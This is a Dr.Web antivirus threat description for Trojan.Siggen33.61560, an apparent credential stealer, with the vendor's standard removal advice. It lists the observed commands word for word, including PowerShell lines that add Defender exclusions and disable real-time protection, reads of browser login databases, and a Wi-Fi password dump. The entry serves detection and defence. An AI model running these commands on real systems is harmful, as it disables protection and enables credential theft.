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Trojan.Siggen33.61560
Aggiunto al database dei virus Dr.Web:
2026-09-01
La descrizione è stata aggiunta:
2026-09-02
Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl...
Executes the following
'<SYSTEM32>\taskkill.exe' /F /IM "opera.exe"
'<SYSTEM32>\taskkill.exe' /F /IM "chrome.exe"
'<SYSTEM32>\taskkill.exe' /F /IM "msedge.exe"
'<SYSTEM32>\taskkill.exe' /F /IM "firefox.exe"
'<SYSTEM32>\taskkill.exe' /F /IM "iexplore.exe"
'<SYSTEM32>\taskkill.exe' /F /IM "brave.exe"
Terminates or attempts to terminate
the following user processes:
Reads files which store third party applications passwords
%LOCALAPPDATA%\microsoft\edge\user data\default\web data
%LOCALAPPDATA%\microsoft\edge\user data\default\login data
%LOCALAPPDATA%\google\chrome\user data\default\web data
Modifies file system
Creates the following files
%TEMP%\yak4evqx.db
%TEMP%\qs4v8pcv.db
%TEMP%\wkb8s42m.db
%TEMP%\sa6r1nws.db
nul
%TEMP%\mdma_results\passwords.txt
%TEMP%\mdma_results\cookies.txt
%TEMP%\mdma_results\autofills.txt
%TEMP%\mdma_results\wifi_passwords.txt
%TEMP%\mdma_results\system_info.txt
%TEMP%\mdma_results\clipboard.txt
%TEMP%\mdma_results\antivirus.txt
%TEMP%\mdma_results\tasklist.txt
%TEMP%\mdma_results\directory_tree.txt
%TEMP%\mdma_results\discord_tokens.txt
%TEMP%\mdma_results\summary.txt
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\<File name>.exe
Sets the 'hidden' attribute to the following files
Deletes following files that it created itself
%TEMP%\qs4v8pcv.db
%TEMP%\yak4evqx.db
%TEMP%\wkb8s42m.db
%TEMP%\sa6r1nws.db
Modifies the HOSTS file.
Miscellaneous
Searches for the following windows
ClassName: '' WindowName: ''
Executes the following
'<SYSTEM32>\cmd.exe' /C powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'
'<SYSTEM32>\cmd.exe' /C powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess D...
'<SYSTEM32>\cmd.exe' /C attrib +h +s "<Full path to file>"
'<SYSTEM32>\cmd.exe' /C taskkill /F /IM "chrome.exe" >NUL 2>&1
'<SYSTEM32>\cmd.exe' /C tasklist /FO LIST
'<SYSTEM32>\cmd.exe' /C netsh wlan show profile
'<SYSTEM32>\cmd.exe' /C wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /format:list 2>NUL
'<SYSTEM32>\cmd.exe' /C taskkill /F /IM "msedge.exe" >NUL 2>&1
'<SYSTEM32>\cmd.exe' /C wmic os get Caption /value
'<SYSTEM32>\cmd.exe' /C taskkill /F /IM "firefox.exe" >NUL 2>&1
'<SYSTEM32>\cmd.exe' /C taskkill /F /IM "opera.exe" >NUL 2>&1
'<SYSTEM32>\cmd.exe' /C taskkill /F /IM "iexplore.exe" >NUL 2>&1
'<SYSTEM32>\cmd.exe' /C taskkill /F /IM "brave.exe" >NUL 2>&1
'<SYSTEM32>\netsh.exe' wlan show profile
'<SYSTEM32>\wbem\wmic.exe' os get Caption /value
'<SYSTEM32>\tasklist.exe' /FO LIST
'<SYSTEM32>\attrib.exe' +h +s "<Full path to file>"
'<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /format:list
'<SYSTEM32>\cmd.exe' /C powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER 2>NUL
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
'<SYSTEM32>\cmd.exe' /C wmic path win32_VideoController get name
'<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
'<SYSTEM32>\cmd.exe' /C wmic computersystem get totalphysicalmemory /value
'<SYSTEM32>\wbem\wmic.exe' computersystem get totalphysicalmemory /value
'<SYSTEM32>\cmd.exe' /C wmic csproduct get uuid
'<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
'<SYSTEM32>\cmd.exe' /C powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault 2>NUL
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
'<SYSTEM32>\cmd.exe' /C powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'' (with hidden window)
'<SYSTEM32>\cmd.exe' /C powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess D...' (with hidden window)
'<SYSTEM32>\cmd.exe' /C attrib +h +s "<Full path to file>"' (with hidden window)
'<SYSTEM32>\cmd.exe' /C taskkill /F /IM "chrome.exe" >NUL 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /C tasklist /FO LIST' (with hidden window)
'<SYSTEM32>\cmd.exe' /C netsh wlan show profile' (with hidden window)
'<SYSTEM32>\cmd.exe' /C wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /format:list 2>NUL' (with hidden window)
'<SYSTEM32>\cmd.exe' /C taskkill /F /IM "msedge.exe" >NUL 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /C wmic os get Caption /value' (with hidden window)
'<SYSTEM32>\cmd.exe' /C taskkill /F /IM "firefox.exe" >NUL 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /C taskkill /F /IM "opera.exe" >NUL 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /C taskkill /F /IM "iexplore.exe" >NUL 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /C taskkill /F /IM "brave.exe" >NUL 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /C powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER 2>NUL' (with hidden window)
'<SYSTEM32>\cmd.exe' /C wmic path win32_VideoController get name' (with hidden window)
'<SYSTEM32>\cmd.exe' /C wmic computersystem get totalphysicalmemory /value' (with hidden window)
'<SYSTEM32>\cmd.exe' /C wmic csproduct get uuid' (with hidden window)
'<SYSTEM32>\cmd.exe' /C powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault 2>NUL' (with hidden window)
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
Scaricate Dr.Web per Android
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